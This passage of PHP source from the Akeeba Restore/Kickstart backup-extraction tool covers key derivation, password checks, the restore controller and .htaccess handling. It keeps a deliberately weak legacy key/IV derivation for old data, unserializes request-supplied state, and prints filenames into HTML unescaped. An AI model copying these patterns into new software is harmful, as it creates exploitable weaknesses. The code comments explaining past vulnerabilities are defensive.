		if (substr($salt, 0, 4) == 'JPST')
		{
			// We have a stored salt. Retrieve it and tell decrypt to process the string minus the last 44 bytes
			// (4 bytes for JPST, 16 bytes for the salt, 4 bytes for JPIV, 16 bytes for the IV, 4 bytes for the
			// uncompressed string length - note that using PBKDF2 means we're also using a randomized IV per the
			// format specification).
			$salt             = substr($salt, 4);
			$rightStringLimit -= 68;

			$key          = self::pbkdf2($password, $salt, $algorithm, $iterations, $keySizeBytes);
		}
		elseif ($useStaticSalt)
		{
			// We have a static salt. Use it for PBKDF2.
			$key = self::getStaticSaltExpandedKey($password);
		}
		else
		{
			// Get the expanded key from the password. THIS USES THE OLD, INSECURE METHOD.
			$key = self::expandKey($password);
		}

		// Try to get the IV from the data
		$iv               = substr($ciphertext, -24, 20);

		if (substr($iv, 0, 4) == 'JPIV')
		{
			// We have a stored IV. Retrieve it and tell mdecrypt to process the string minus the last 24 bytes
			// (4 bytes for JPIV, 16 bytes for the IV, 4 bytes for the uncompressed string length)
			$iv               = substr($iv, 4);
			$rightStringLimit -= 20;
		}
		else
		{
			// No stored IV. Do it the dumb way.
			$iv = self::createTheWrongIV($password);
		}

		// Decrypt
		$plaintext = $adapter->decrypt($iv . substr($ciphertext, 0, $rightStringLimit), $key);

		// Trim padding, if necessary
		if (strlen($plaintext) > $data_size)
		{
			$plaintext = substr($plaintext, 0, $data_size);
		}

		return $plaintext;
	}

	/**
	 * That's the old way of creating an IV that's definitely not cryptographically sound.
	 *
	 * DO NOT USE, EVER, UNLESS YOU WANT TO DECRYPT LEGACY DATA
	 *
	 * @param   string $password The raw password from which we create an IV in a super bozo way
	 *
	 * @return  string  A 16-byte IV string
	 */
	public static function createTheWrongIV($password)
	{
		static $ivs = array();

		$key = md5($password);

		if (!isset($ivs[$key]))
		{
			$nBytes  = 16;  // AES uses a 128 -bit (16 byte) block size, hence the IV size is always 16 bytes
			$pwBytes = array();
			for ($i = 0; $i < $nBytes; $i++)
			{
				$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
			}
			$iv    = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
			$newIV = '';
			foreach ($iv as $int)
			{
				$newIV .= chr($int);
			}

			$ivs[$key] = $newIV;
		}

		return $ivs[$key];
	}

	/**
	 * Expand the password to an appropriate 128-bit encryption key
	 *
	 * @param   string $password
	 *
	 * @return  string
	 *
	 * @since   5.2.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	public static function expandKey($password)
	{
		// Try to fetch cached key or create it if it doesn't exist
		$nBits     = 128;
		$lookupKey = md5($password . '-' . $nBits);

		if (array_key_exists($lookupKey, self::$passwords))
		{
			$key = self::$passwords[$lookupKey];

			return $key;
		}

		// use AES itself to encrypt password to get cipher key (using plain password as source for
		// key expansion) - gives us well encrypted key.
		$nBytes  = $nBits / 8; // Number of bytes in key
		$pwBytes = array();

		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}

		$key    = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
		$key    = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long
		$newKey = '';

		foreach ($key as $int)
		{
			$newKey .= chr($int);
		}

		$key = $newKey;

		self::$passwords[$lookupKey] = $key;

		return $key;
	}

	/**
	 * Returns the correct AES-128 CBC encryption adapter
	 *
	 * @return  AKEncryptionAESAdapterInterface
	 *
	 * @since   5.2.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	public static function getAdapter()
	{
		static $adapter = null;

		if (is_object($adapter) && ($adapter instanceof AKEncryptionAESAdapterInterface))
		{
			return $adapter;
		}

		$adapter = new OpenSSL();

		if (!$adapter->isSupported())
		{
			$adapter = new Mcrypt();
		}

		return $adapter;
	}

	/**
	 * @return string
	 */
	public static function getPbkdf2Algorithm()
	{
		return self::$pbkdf2Algorithm;
	}

	/**
	 * @param string $pbkdf2Algorithm
	 * @return void
	 */
	public static function setPbkdf2Algorithm($pbkdf2Algorithm)
	{
		self::$pbkdf2Algorithm = $pbkdf2Algorithm;
	}

	/**
	 * @return int
	 */
	public static function getPbkdf2Iterations()
	{
		return self::$pbkdf2Iterations;
	}

	/**
	 * @param int $pbkdf2Iterations
	 * @return void
	 */
	public static function setPbkdf2Iterations($pbkdf2Iterations)
	{
		self::$pbkdf2Iterations = $pbkdf2Iterations;
	}

	/**
	 * @return int
	 */
	public static function getPbkdf2UseStaticSalt()
	{
		return self::$pbkdf2UseStaticSalt;
	}

	/**
	 * @param int $pbkdf2UseStaticSalt
	 * @return void
	 */
	public static function setPbkdf2UseStaticSalt($pbkdf2UseStaticSalt)
	{
		self::$pbkdf2UseStaticSalt = $pbkdf2UseStaticSalt;
	}

	/**
	 * @return string
	 */
	public static function getPbkdf2StaticSalt()
	{
		return self::$pbkdf2StaticSalt;
	}

	/**
	 * @param string $pbkdf2StaticSalt
	 * @return void
	 */
	public static function setPbkdf2StaticSalt($pbkdf2StaticSalt)
	{
		self::$pbkdf2StaticSalt = $pbkdf2StaticSalt;
	}

	/**
	 * Get the parameters fed into PBKDF2 to expand the user password into an encryption key. These are the static
	 * parameters (key size, hashing algorithm and number of iterations). A new salt is used for each encryption block
	 * to minimize the risk of attacks against the password.
	 *
	 * @return  array
	 */
	public static function getKeyDerivationParameters()
	{
		return array(
			'keySize'       => 16,
			'algorithm'     => self::$pbkdf2Algorithm,
			'iterations'    => self::$pbkdf2Iterations,
			'useStaticSalt' => self::$pbkdf2UseStaticSalt,
			'staticSalt'    => self::$pbkdf2StaticSalt,
		);
	}

	/**
	 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
	 *
	 * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
	 *
	 * This implementation of PBKDF2 was originally created by https://defuse.ca
	 * With improvements by http://www.variations-of-shadow.com
	 * Modified for Akeeba Engine by Akeeba Ltd (removed unnecessary checks to make it faster)
	 *
	 * @param   string  $password    The password.
	 * @param   string  $salt        A salt that is unique to the password.
	 * @param   string  $algorithm   The hash algorithm to use. Default is sha1.
	 * @param   int     $count       Iteration count. Higher is better, but slower. Default: 1000.
	 * @param   int     $key_length  The length of the derived key in bytes.
	 *
	 * @return  string  A string of $key_length bytes
	 */
	public static function pbkdf2($password, $salt, $algorithm = 'sha1', $count = 1000, $key_length = 16)
	{
		if (function_exists("hash_pbkdf2"))
		{
			return hash_pbkdf2($algorithm, $password, $salt, $count, $key_length, true);
		}

		$hash_length = akstringlen(hash($algorithm, "", true));
		$block_count = ceil($key_length / $hash_length);

		$output = "";

		for ($i = 1; $i <= $block_count; $i++)
		{
			// $i encoded as 4 bytes, big endian.
			$last = $salt . pack("N", $i);

			// First iteration
			$xorResult = hash_hmac($algorithm, $last, $password, true);
			$last      = $xorResult;

			// Perform the other $count - 1 iterations
			for ($j = 1; $j < $count; $j++)
			{
				$last = hash_hmac($algorithm, $last, $password, true);
				$xorResult ^= $last;
			}

			$output .= $xorResult;
		}

		return aksubstr($output, 0, $key_length);
	}

	/**
	 * Get the expanded key from the user supplied password using a static salt. The results are cached for performance
	 * reasons.
	 *
	 * @param   string  $password  The user-supplied password, UTF-8 encoded.
	 *
	 * @return  string  The expanded key
	 */
	private static function getStaticSaltExpandedKey($password)
	{
		$params        = self::getKeyDerivationParameters();
		$keySizeBytes  = $params['keySize'];
		$algorithm     = $params['algorithm'];
		$iterations    = $params['iterations'];
		$staticSalt    = $params['staticSalt'];

		$lookupKey = "PBKDF2-$algorithm-$iterations-" . md5($password . $staticSalt);

		if (!array_key_exists($lookupKey, self::$passwords))
		{
			self::$passwords[$lookupKey] = self::pbkdf2($password, $staticSalt, $algorithm, $iterations, $keySizeBytes);
		}

		return self::$passwords[$lookupKey];
	}

}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * A timing safe equals comparison
 *
 * @param   string  $safe  The internal (safe) value to be checked
 * @param   string  $user  The user submitted (unsafe) value
 *
 * @return  boolean  True if the two strings are identical.
 *
 * @see     http://blog.ircmaxell.com/2014/11/its-all-about-time.html
 */
function timingSafeEquals($safe, $user)
{
	$safeLen = strlen($safe);
	$userLen = strlen($user);

	if ($userLen != $safeLen)
	{
		return false;
	}

	$result = 0;

	for ($i = 0; $i < $userLen; $i++)
	{
		$result |= (ord($safe[$i]) ^ ord($user[$i]));
	}

	// They are only identical strings if $result is exactly 0...
	return $result === 0;
}

/**
 * The Master Setup will read the configuration parameters from restoration.php or
 * the JSON-encoded "configuration" input variable and return the status.
 *
 * @return bool True if the master configuration was applied to the Factory object
 */
function masterSetup()
{
	// ------------------------------------------------------------
	// 1. Import basic setup parameters
	// ------------------------------------------------------------

	$ini_data = null;

	// In restore.php mode, require restoration.php or fail
	if (!defined('KICKSTART'))
	{
		// This is the standalone mode, used by Akeeba Backup Professional. It looks for a restoration.php
		// file to perform its magic. If the file is not there, we will abort.
		$setupFile = 'restoration.php';

		if (!file_exists($setupFile))
		{
			AKFactory::set('kickstart.enabled', false);

			return false;
		}

		/**
		 * If the setup file was created more than 1.5 hours ago we can assume that it's stale and someone forgot to
		 * remove it from the server. This hinders brute force attacks against the Kickstart password. Even a simple
		 * 8 character simple alphanum (a-z, 0-9) password yields over 2.8e12. Assuming a very fast server which can
		 * serve 100 requests to restore.php per second and an easy to attack password requiring going over just 1% of
		 * the search space it'd still take over 282 million seconds to brute force it. Our limit is more than 4 orders
		 * of magnitude lower than this best practical case scenario, giving us adequate protection against all but the
		 * luckiest attacker (spoiler alert: the mathematics of probabilities say you're not gonna get lucky).
		 *
		 * It is still advisable to remove the restoration.php file once you are done with the extraction. This check
		 * here is only meant as a failsafe in case of a server error during the extraction and subsequent lack of user
		 * action to remove the restoration.php file from their server.
		 */
		$setupFieCreationTime = filectime($setupFile);

		if (abs(time() - $setupFieCreationTime) > 5400)
		{
			AKFactory::set('kickstart.enabled', false);

			return false;
		}

		// Load restoration.php. It creates a global variable named $restoration_setup
		require_once $setupFile;

		$ini_data = $restoration_setup;

		if (empty($ini_data))
		{
			// No parameters fetched. Darn, how am I supposed to work like that?!
			AKFactory::set('kickstart.enabled', false);

			return false;
		}

		AKFactory::set('kickstart.enabled', true);
	}
	else
	{
		// Maybe we have $restoration_setup defined in the head of kickstart.php
		global $restoration_setup;

		if (!empty($restoration_setup) && !is_array($restoration_setup))
		{
			$ini_data = AKText::parse_ini_file($restoration_setup, false, true);
		}
		elseif (is_array($restoration_setup))
		{
			$ini_data = $restoration_setup;
		}
	}

	// Import any data from $restoration_setup
	if (!empty($ini_data))
	{
		foreach ($ini_data as $key => $value)
		{
			AKFactory::set($key, $value);
		}
		AKFactory::set('kickstart.enabled', true);
	}

	// Reinitialize $ini_data
	$ini_data = null;

	/**
	 * August 2018. Some third party developer with a dubious skill level (or complete lack thereof) wrote a piece of
	 * code which uses restore.php with an empty password (and never deleted the restoration.php file he created).
	 * According to his code comments he did this because he couldn't figure out how to make encrypted requests work,
	 * DESPITE THE FACT that com_joomlaupdate (part of Joomla! itself) has working code which does EXACTLY THAT. >:-o
	 *
	 * As a result of his actions all sites running his software have a massive vulnerability inflicted upon them. An
	 * attacker can absuse the (unlocked) restore.php to upload and install any arbitrary code in a ZIP archive,
	 * possibly overwriting core code. Discovering this problem takes a few seconds and there is code which is doing
	 * exactly that published years ago (during the active maintenance period of Joomla! 3.4, that long ago).
	 *
	 * This bit of code here detects an empty password and disables restore.php. His badly written software fails to
	 * execute and, most importantly, the unlucky users of his software will no longer have a remote code upload /
	 * remote code execution vulnerability on their sites.
	 *
	 * Remember, people, if you can't be bothered to take web application security seriously DO NOT SELL WEB SOFTWARE
	 * FOR A LIVING. There are other honest jobs you can do which don't involve using a computer in a dangerous and
	 * irresponsible manner.
	 */
	$password = AKFactory::get('kickstart.security.password', null);

	if (empty($password) || (trim($password) == '') || (strlen(trim($password)) < 10))
	{
		AKFactory::set('kickstart.enabled', false);

		return false;
	}


	// ------------------------------------------------------------
	// 2. Explode JSON parameters into $_REQUEST scope
	// ------------------------------------------------------------

	// Detect a JSON string in the request variable and store it.
	$json = getQueryParam('json', null);

	// Detect a password in the request variable and store it.
	$userPassword = getQueryParam('password', '');

	// Remove everything from the request, post and get arrays
	if (!empty($_REQUEST))
	{
		foreach ($_REQUEST as $key => $value)
		{
			unset($_REQUEST[$key]);
		}
	}

	if (!empty($_POST))
	{
		foreach ($_POST as $key => $value)
		{
			unset($_POST[$key]);
		}
	}

	if (!empty($_GET))
	{
		foreach ($_GET as $key => $value)
		{
			unset($_GET[$key]);
		}
	}

	// Authentication - Akeeba Restore 5.4.0 or later
	$password = AKFactory::get('kickstart.security.password', null);
	$isAuthenticated = false;

	/**
	 * Akeeba Restore 5.3.1 and earlier use a custom implementation of AES-128 in CTR mode to encrypt the JSON data
	 * between client and server. This is not used as a means to maintain secrecy (it's symmetrical encryption and the
	 * key is, by necessity, transmitted with the HTML page to the client). It's meant as a form of authentication, so
	 * that the server part can ensure that it only receives commands by an authorized client.
	 *
	 * The downside is that encryption in CTR mode (like CBC) is an all-or-nothing affair. This opens the possibility
	 * for a padding oracle attack (https://en.wikipedia.org/wiki/Padding_oracle_attack). While Akeeba Restore was
	 * hardened in 2014 to prevent the bulk of suck attacks it is still possible to attack the encryption using a very
	 * large number of requests (several dozens of thousands).
	 *
	 * Since Akeeba Restore 5.4.0 we have removed this authentication method and replaced it with the transmission of a
	 * very large length password. On the server side we use a timing safe password comparison. By its very nature, it
	 * will only leak the (well known, constant and large) length of the password but no more information about the
	 * password itself. See http://blog.ircmaxell.com/2014/11/its-all-about-time.html  As a result this form of
	 * authentication is many orders of magnitude harder to crack than regular encryption.
	 *
	 * Now you may wonder "how is sending a password in the clear hardier than encryption?". If you ask that question
	 * you were not paying attention. The password needs to be known by BOTH the server AND the client (browser). Since
	 * this password is generated programmatically by the server, it MUST be sent to the client by the server. If an
	 * attacker is able to intercept this transmission (man in the middle attack) using encryption is irrelevant: the
	 * attacker already knows your password. This situation also applies when the user sends their own password to the
	 * server, e.g. when logging into their site. The ONLY way to avoid security issues regarding information being
	 * stolen in transit is using HTTPS with a commercially signed SSL certificate. Unlike 2008, when Kickstart was
	 * originally written, obtaining such a certificate nowadays is trivial and costs absolutely nothing thanks to Let's
	 * Encrypt (https://letsencrypt.org/).
	 *
	 * TL;DR: Use HTTPS with a commercially signed SSL certificate, e.g. a free certificate from Let's Encrypt. Client-
	 * side cryptography does NOT protect you against an attacker (see
	 * https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2011/august/javascript-cryptography-considered-harmful/).
	 * Moreover, sending a plaintext password is safer than relying on client-side encryption for authentication as it
	 * removes the possibility of an attacker inferring the contents of the authentication key (password) in a relatively
	 * easy and automated manner.
	 */
	if (!empty($password))
	{
		// Timing-safe password comparison. See http://blog.ircmaxell.com/2014/11/its-all-about-time.html
		if (!timingSafeEquals($password, $userPassword))
		{
			die('###{"status":false,"message":"Invalid login"}###');
		}
	}

	// No JSON data? Die.
	if (empty($json))
	{
		die('###{"status":false,"message":"Invalid JSON data"}###');
	}

	// Handle the JSON string
	$raw = json_decode($json, true);

	// Invalid JSON data?
	if (empty($raw))
	{
		die('###{"status":false,"message":"Invalid JSON data"}###');
	}

	// Pass all JSON data to the request array
	if (!empty($raw))
	{
		foreach ($raw as $key => $value)
		{
			$_REQUEST[$key] = $value;
		}
	}

	// ------------------------------------------------------------
	// 3. Try the "factory" variable
	// ------------------------------------------------------------
	// A "factory" variable will override all other settings.
	$serialized = getQueryParam('factory', null);

	if (!is_null($serialized))
	{
		// Get the serialized factory
		AKFactory::unserialize($serialized);
		AKFactory::set('kickstart.enabled', true);

		return true;
	}

	// ------------------------------------------------------------
	// 4. Try the configuration variable for Kickstart
	// ------------------------------------------------------------
	if (defined('KICKSTART'))
	{
		$configuration = getQueryParam('configuration');

		if (!is_null($configuration))
		{
			// Let's decode the configuration from JSON to array
			$ini_data = json_decode($configuration, true);
		}
		else
		{
			// Neither exists. Enable Kickstart's interface anyway.
			$ini_data = array('kickstart.enabled' => true);
		}

		// Import any INI data we might have from other sources
		if (!empty($ini_data))
		{
			foreach ($ini_data as $key => $value)
			{
				AKFactory::set($key, $value);
			}

			AKFactory::set('kickstart.enabled', true);

			return true;
		}
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Mini-controller for restore.php
if (!defined('KICKSTART'))
{
	// The observer class, used to report number of files and bytes processed
	class RestorationObserver extends AKAbstractPartObserver
	{
		public $compressedTotal = 0;
		public $uncompressedTotal = 0;
		public $filesProcessed = 0;

		public function update($object, $message)
		{
			if (!is_object($message))
			{
				return;
			}

			if (!array_key_exists('type', get_object_vars($message)))
			{
				return;
			}

			if ($message->type == 'startfile')
			{
				$this->filesProcessed++;
				$this->compressedTotal += $message->content->compressed;
				$this->uncompressedTotal += $message->content->uncompressed;
			}
		}

		public function __toString()
		{
			return __CLASS__;
		}

	}

	// Import configuration
	masterSetup();

	$retArray = array(
		'status'  => true,
		'message' => null
	);

	$enabled = AKFactory::get('kickstart.enabled', false);

	if ($enabled)
	{
		$task = getQueryParam('task');

		switch ($task)
		{
			case 'ping':
				// ping task - really does nothing!
				$timer = AKFactory::getTimer();
				$timer->enforce_min_exec_time();
				break;

			/**
			 * There are two separate steps here since we were using an inefficient restoration initialization method in
			 * the past. Now both startRestore and stepRestore are identical. The difference in behavior depends
			 * exclusively on the calling Javascript. If no serialized factory was passed in the request then we start a
			 * new restoration. If a serialized factory was passed in the request then the restoration is resumed. For
			 * this reason we should NEVER call AKFactory::nuke() in startRestore anymore: that would simply reset the
			 * extraction engine configuration which was done in masterSetup() leading to an error about the file being
			 * invalid (since no file is found).
			 */
			case 'startRestore':
			case 'stepRestore':
				if ($task == 'startRestore')
				{
					// Fetch path to the site root from the restoration.php file, so we can tell the engine where it should operate
					$siteRoot = AKFactory::get('kickstart.setup.destdir', '');

					// Before starting, read and save any custom AddHandler directive
					$phpHandlers = getPhpHandlers($siteRoot);
					AKFactory::set('kickstart.setup.phphandlers', $phpHandlers);

					// If the Stealth Mode is enabled, create the .htaccess file
					if (AKFactory::get('kickstart.stealth.enable', false))
					{
						createStealthURL($siteRoot);
					}
					// No stealth mode, but we have custom handler directives, must write our own file
					elseif ($phpHandlers)
					{
						writePhpHandlers($siteRoot);
					}
				}

				/**
				 * First try to run the filesystem zapper (remove all existing files and folders). If the Zapper is
				 * disabled or has already finished running we will get a FALSE result. Otherwise it's a status array
				 * which we can pass directly back to the caller.
				 */
				$ret = runZapper();

				// If the Zapper had a step to run we stop here and return its status array to the caller.
				if ($ret !== false)
				{
					$retArray = array_merge($retArray, $ret);

					break;
				}

				$engine   = AKFactory::getUnarchiver(); // Get the engine
				$observer = new RestorationObserver(); // Create a new observer
				$engine->attach($observer); // Attach the observer
				$engine->tick();
				$ret = $engine->getStatusArray();

				if ($ret['Error'] != '')
				{
					$retArray['status']  = false;
					$retArray['done']    = true;
					$retArray['message'] = $ret['Error'];
				}
				elseif (!$ret['HasRun'])
				{
					$retArray['files']    = $observer->filesProcessed;
					$retArray['bytesIn']  = $observer->compressedTotal;
					$retArray['bytesOut'] = $observer->uncompressedTotal;
					$retArray['status']   = true;
					$retArray['done']     = true;
				}
				else
				{
					$retArray['files']    = $observer->filesProcessed;
					$retArray['bytesIn']  = $observer->compressedTotal;
					$retArray['bytesOut'] = $observer->uncompressedTotal;
					$retArray['status']   = true;
					$retArray['done']     = false;
					$retArray['factory']  = AKFactory::serialize();
				}

				$timer = AKFactory::getTimer();
				$timer->enforce_min_exec_time();

				break;

			case 'finalizeRestore':
				$root = AKFactory::get('kickstart.setup.destdir');
				// Remove the installation directory
				recursive_remove_directory($root . '/installation');

				$postproc = AKFactory::getPostProc();

				/**
				 * Should I rename the htaccess.bak and web.config.bak files back to their live filenames...?
				 */
				$renameFiles = AKFactory::get('kickstart.setup.postrenamefiles', true);

				if ($renameFiles)
				{
					// Rename htaccess.bak to .htaccess
					if (file_exists($root . '/htaccess.bak'))
					{
						if (file_exists($root . '/.htaccess'))
						{
							$postproc->unlink($root . '/.htaccess');
						}

						$postproc->rename($root . '/htaccess.bak', $root . '/.htaccess');
					}

					// Rename htaccess.bak to .htaccess
					if (file_exists($root . '/web.config.bak'))
					{
						if (file_exists($root . '/web.config'))
						{
							$postproc->unlink($root . '/web.config');
						}

						$postproc->rename($root . '/web.config.bak', $root . '/web.config');
					}
				}

				// Remove restoration.php
				$basepath = KSROOTDIR;
				$basepath = rtrim(str_replace('\\', '/', $basepath), '/');

				if (!empty($basepath))
				{
					$basepath .= '/';
				}

				$postproc->unlink($basepath . 'restoration.php');
				clearFileInOPCache($basepath . 'restoration.php');

				// Import a custom finalisation file
				$filename = dirname(__FILE__) . '/restore_finalisation.php';

				if (file_exists($filename))
				{
					// opcode cache busting before including the filename
					if (function_exists('opcache_invalidate'))
					{
						opcache_invalidate($filename, true);
					}

					if (function_exists('apc_compile_file'))
					{
						apc_compile_file($filename);
					}

					if (function_exists('wincache_refresh_if_changed'))
					{
						wincache_refresh_if_changed([$filename]);
					}

					if (function_exists('xcache_asm'))
					{
						xcache_asm($filename);
					}

					include_once $filename;
				}

				// Run a custom finalisation script
				if (function_exists('finalizeRestore'))
				{
					finalizeRestore($root, $basepath);
				}

				break;

			default:
				// Invalid task!
				$enabled = false;
				break;
		}
	}

	// Maybe we weren't authorized or the task was invalid?
	if (!$enabled)
	{
		// Maybe the user failed to enter any information
		$retArray['status']  = false;
		$retArray['message'] = AKText::_('ERR_INVALID_LOGIN');
	}

	// JSON encode the message
	$json = json_encode($retArray);

	// Return the message
	echo "###$json###";

}

// ------------ lixlpixel recursive PHP functions -------------
// recursive_remove_directory( directory to delete, empty )
// expects path to directory and optional TRUE / FALSE to empty
// of course PHP has to have the rights to delete the directory
// you specify and all files and folders inside the directory
// ------------------------------------------------------------
function recursive_remove_directory($directory)
{
	// if the path has a slash at the end we remove it here
	if (substr($directory, -1) == '/')
	{
		$directory = substr($directory, 0, -1);
	}

	// if the path is not valid or is not a directory ...
	if (!file_exists($directory) || !is_dir($directory))
	{
		// ... we return false and exit the function
		return false;
		// ... if the path is not readable
	}
	elseif (!is_readable($directory))
	{
		// ... we return false and exit the function
		return false;
		// ... else if the path is readable
	}
	else
	{
		// we open the directory
		$handle   = opendir($directory);
		$postproc = AKFactory::getPostProc();

		// and scan through the items inside
		while (false !== ($item = readdir($handle)))
		{
			// if the filepointer is not the current directory
			// or the parent directory

			if ($item != '.' && $item != '..')
			{
				// we build the new path to delete
				$path = $directory . '/' . $item;

				// if the new path is a directory
				if (is_dir($path))
				{
					// we call this function with the new path
					recursive_remove_directory($path);
					// if the new path is a file
				}
				else
				{
					// we remove the file
					$postproc->unlink($path);
					clearFileInOPCache($path);
				}
			}
		}

		// close the directory
		closedir($handle);

		// try to delete the now empty directory
		if (!$postproc->rmdir($directory))
		{
			// return false if not possible
			return false;
		}

		// return success
		return true;
	}
}

function createStealthURL($siteRoot = '')
{
	$filename = AKFactory::get('kickstart.stealth.url', '');

	// We need an HTML file!
	if (empty($filename))
	{
		return;
	}

	// Make sure it ends in .html or .htm
	$filename = basename($filename);

	if ((strtolower(substr($filename, -5)) != '.html') && (strtolower(substr($filename, -4)) != '.htm'))
	{
		return;
	}

	if ($siteRoot)
	{
		$siteRoot = rtrim($siteRoot, '/').'/';
	}

	$filename_quoted = str_replace('.', '\\.', $filename);
	$rewrite_base    = trim(dirname(AKFactory::get('kickstart.stealth.url', '')), '/');

	// Get the IP
	$userIP = $_SERVER['REMOTE_ADDR'];
	$userIP = str_replace('.', '\.', $userIP);

	// Get the .htaccess contents
	$stealthHtaccess = <<<ENDHTACCESS
RewriteEngine On
RewriteBase /$rewrite_base
RewriteCond %{REMOTE_ADDR}		!$userIP
RewriteCond %{REQUEST_URI}		!$filename_quoted
RewriteCond %{REQUEST_URI}		!(\.png|\.jpg|\.gif|\.jpeg|\.bmp|\.swf|\.css|\.js)$
RewriteRule (.*)				$filename	[R=307,L]

ENDHTACCESS;

	$customHandlers = portPhpHandlers();

	// Port any custom handlers in the stealth file
	if ($customHandlers)
	{
		$stealthHtaccess .= "\n".$customHandlers."\n";
	}

	// Write the new .htaccess, removing the old one first
	$postproc = AKFactory::getpostProc();
	$postproc->unlink($siteRoot.'.htaccess');
	$tempfile = $postproc->processFilename($siteRoot.'.htaccess');
	@file_put_contents($tempfile, $stealthHtaccess);
	$postproc->process();
}

/**
 * Checks if there is an .htaccess file and has any AddHandler directive in it.
 * In that case, we return the affected lines so they could be stored for later use
 *
 * @return  array
 */
function getPhpHandlers($root = null)
{
	if (!$root)
	{
		$root = AKKickstartUtils::getPath();
	}

	$htaccess   = $root.'/.htaccess';
	$directives = array();

	if (!file_exists($htaccess))
	{
		return $directives;
	}

	$contents   = file_get_contents($htaccess);
	$directives = AKUtilsHtaccess::extractHandler($contents);
	$directives = explode("\n", $directives);

	return $directives;
}

/**
 * Fetches any stored php handler directive stored inside the factory and creates a string with the correct markers
 *
 * @return string
 */
function portPhpHandlers()
{
	$phpHandlers = AKFactory::get('kickstart.setup.phphandlers', array());

	if (!$phpHandlers)
	{
		return '';
	}

	$customHandler  = "### AKEEBA_KICKSTART_PHP_HANDLER_BEGIN ###\n";
	$customHandler .= implode("\n", $phpHandlers)."\n";
	$customHandler .= "### AKEEBA_KICKSTART_PHP_HANDLER_END ###\n";

	return $customHandler;
}

function writePhpHandlers($siteRoot = '')
{
	$contents = portPhpHandlers();

	if (!$contents)
	{
		return;
	}

	if ($siteRoot)
	{
		$siteRoot = rtrim($siteRoot, '/').'/';
	}

	// Write the new .htaccess, removing the old one first
	$postproc = AKFactory::getpostProc();
	$postproc->unlink($siteRoot.'.htaccess');
	$tempfile = $postproc->processFilename($siteRoot.'.htaccess');
	@file_put_contents($tempfile, $contents);
	$postproc->process();
}


/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */
class AKKickstartUtils
{
	/**
	 * Guess the best path containing backup archives. The default strategy is check in the current directory first,
	 * then attempt to find an Akeeba Backup for Joomla!, Akeeba Solo or Akeeba Backup for WordPress default backup
	 * output directory under the current root. The first one containing backup archives wins.
	 *
	 * @return string The path to get archives from
	 */
	public static function getBestArchivePath()
	{
		$basePath      = self::getPath();
		$basePathSlash = (empty($basePath) ? '.' : rtrim($basePath, '/\\')) . '/';

		$paths = array(
			// Root, same as the directory we're in
			$basePath,
			// Standard temporary directory
			$basePath . '/kicktemp',
			// Akeeba Backup for Joomla!, default output directory
			$basePathSlash . 'administrator/components/com_akeeba/backup',
			$basePathSlash . 'administrator/components/com_akeebabackup/backup',
			// Akeeba Solo, default output directory
			$basePathSlash . 'backups',
			// Akeeba Backup for WordPress, default output directory
			$basePathSlash . 'wp-content/plugins/akeebabackupwp/app/backups',
		);

		foreach ($paths as $path)
		{
			$archives = self::findArchives($path);

			if (!empty($archives))
			{
				return $path;
			}
		}

		return $basePath;
	}

	/**
	 * Gets the directory the file is in
	 *
	 * @return string
	 */
	public static function getPath()
	{
		$path = KSROOTDIR;
		$path = rtrim(str_replace('\\', '/', $path), '/');

		if (!empty($path))
		{
			$path .= '/';
		}

		return $path;
	}

	/**
	 * Scans the current directory for archive files (JPA, JPS and ZIP format)
	 *
	 * @param string $path The path to look for archives. null for automatic path
	 *
	 * @return array
	 */
	public static function findArchives($path)
	{
		$ret = array();

		if (empty($path))
		{
			$path = self::getPath();
		}

		if (empty($path))
		{
			$path = '.';
		}

		$dh = @opendir($path);

		if ($dh === false)
		{
			return $ret;
		}

		while (false !== $file = @readdir($dh))
		{
			$dotpos = strrpos($file, '.');

			if ($dotpos === false)
			{
				continue;
			}

			if ($dotpos == strlen($file))
			{
				continue;
			}

			$extension = strtolower(substr($file, $dotpos + 1));

			if (in_array($extension, array('jpa', 'zip', 'jps')))
			{
				$ret[] = $file;
			}
		}

		closedir($dh);

		if (!empty($ret))
		{
			return $ret;
		}

		// On some hosts using opendir doesn't work. Let's try Dir instead
		$d = dir($path);

		while (false != ($file = $d->read()))
		{
			$dotpos = strrpos($file, '.');

			if ($dotpos === false)
			{
				continue;
			}

			if ($dotpos == strlen($file))
			{
				continue;
			}

			$extension = strtolower(substr($file, $dotpos + 1));

			if (in_array($extension, array('jpa', 'zip', 'jps')))
			{
				$ret[] = $file;
			}
		}

		return $ret;
	}

	/**
	 * Gets the most appropriate temporary path
	 *
	 * @return string
	 */
	public static function getTemporaryPath()
	{
		$path = self::getPath();

		$candidateDirs = array(
			$path,
			$path . '/kicktemp',
		);

		if (function_exists('sys_get_temp_dir'))
		{
			$candidateDirs[] = sys_get_temp_dir();
		}

		foreach ($candidateDirs as $dir)
		{
			if (is_dir($dir) && is_writable($dir))
			{
				return $dir;
			}
		}

		// Failsafe
		return $path;
	}

	/**
	 * Scans the current directory for archive files and returns them as <OPTION> tags
	 *
	 * @param string $path The path to look for archives. null for automatic path
	 *
	 * @return string
	 */
	public static function getArchivesAsOptions($path = null)
	{
		$ret = '';

		$archives = self::findArchives($path);

		if (empty($archives))
		{
			return $ret;
		}

		foreach ($archives as $file)
		{
			//$file = htmlentities($file);
			$ret .= '<option value="' . $file . '">' . $file . '</option>' . "\n";
